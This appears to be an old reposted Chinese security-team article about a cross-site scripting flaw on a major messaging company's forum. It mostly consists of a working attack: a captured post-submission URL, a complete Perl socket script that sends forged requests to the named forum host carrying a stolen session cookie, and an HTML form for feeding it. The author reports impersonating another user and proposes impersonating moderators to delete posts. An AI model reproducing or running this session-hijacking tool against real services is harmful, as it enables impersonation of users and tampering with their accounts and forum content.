| 关键词: nbsp content text cookie title bbs 脚本 key type 测试 |
by [email protected] welcome to C4 Security Team(WWW.China4lert.ORG) welcome to my homepage http://go3.163.com/superdao 感谢网友1d帮助测试! 有许多网友说跨站脚本执行漏洞没有什么价值,今天我以中国最大的即时通讯站点为例,经过观察发现个人资料栏里可以嵌入脚本,如访问下列链接: http://bbs.******.com/cgi-bin/liuyan/bbs_ly_edit?Plogin_name=6595692 可以发现你的cookie资料。skey=D55KnKpYUm; uin=o6884**,最后就*号代替了。 我就考虑了怎么利用他来冒充别人发贴子,讨厌就讨厌在这个站点要经验值>=3才能发帖,气的我只吐血,我的经验值是-5,只能换个qq上去了,害的我等了6分钟才能进行测试。 进入论坛,随便找个电脑-安全版块进行测试。 找到发贴的连接,打开他的原文件,改成get 方式和绝对路径,存盘,用自己的页面随便提交了帖子。抓到如下的资料, http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=%B4%F3%BC%D2%BA%C3%B0%A1&content=&content1=&content2=&icon_id=11&sign=1&text=%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1&type=a&messtype=&back=11&groupid=102%3A10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club= 转换一下编码方式,看的清楚点。 变成如下: http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=大家好啊&content=&content1=&content2=&icon_id=11&sign=1&text=大家好啊大家好啊大家好啊大家好啊&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club= 老用这种方式提交不方便啊,就写了个简单的perl socket脚本如下 --------------------------------------------------------------------- #!/usr/bin/perl -- use Socket; ################################################ # DO NOT EDIT ANYTHING BEYOND THIS LINE # ################################################ #push (@INC,"../perl-lib"); #require 'cgi-lib.pl'; &ReadParse(*form_data); $title = $form_data{'title'}; $text = $form_data{'text'}; $cookie = $form_data{'cookie'}; $host = "bbs.tencent.com"; $port = 80; $req = "GET /cgi-bin/bbs/bbs_post_submit?title=$title&content=&content1=&content2=&icon_id=11&sign=1&text=$text&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club= HTTP/1.1\r\n". "Host: $host\r\n". "Accept: */*\r\n". "Cookie: $cookie\n\n"; @re =sendraw($req); print "Content-type: text/html\n\n"; print "@re\n"; sub sendraw { my ($req) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $req; my @res = <S>; select(STDOUT); close(S); return @res; } else { die("Can't connect...\n"); } } # ReadParse # Reads in GET or POST data, converts it to unescaped text, and puts # one key=value in each member of the list "@in" # Also creates key/value pairs in %in, using '\0' to separate multiple # selections # If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse, # information is stored there, rather than in $in, @in, and %in. sub ReadParse { local (*in) = @_ if @_; local ($i, $loc, $key, $val); # Read in text if ($ENV{'REQUEST_METHOD'} eq "GET") { $in = $ENV{'QUERY_STRING'}; } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); } @in = split(/&/,$in); foreach $i (0 .. $#in) { # Convert plus's to spaces $in[$i] =~ s/\+/ /g; # Split into key and value. ($key, $val) = split(/=/,$in[$i],2); # splits on the first =. # Convert %XX from hex numbers to alphanumeric $key =~ s/%(..)/pack("c",hex($1))/ge; $val =~ s/%(..)/pack("c",hex($1))/ge; # Associate key and value $in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator $in{$key} .= $val; } return 1; # just for fun } ---------------------------------------------------------------------- 客户段就用下面的了 《form name="dform" action="http://www.xxxxxx.net/cgi-bin/tencent.cgi" method="post" 》 title:《input type="text" name="title" size="10"》 《br》 text: 《input type="text" name="text" size="10"> 《br》 cookie:《input type="text" name="cookie" size="10"》 《br》 <input type="submit" value="go):--"> 《br》《br》 《/form》 没办法,就用《》代替,ie要把txt 文件认为是html的。 --------------------------------------------------------------------------------------- 我先用我的cookie测试发帖了,成功通过。于是马上登陆qq站点。拉了个好友1d帮助测试,结果成功的冒充1d发了帖子。 --------------------------------------------------------------------------------------- 后话: 既然可以冒充人发帖子,想来冒充斑竹删帖子也不会很难吧,当然前提得要截获了斑竹的cookie,具体截获cookie部分请参考analysist的文章 跨站脚本执行漏洞详解以及跨站脚本执行漏洞详解(续)。 注意:商业转载请联系WWW.China4lert.ORG |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|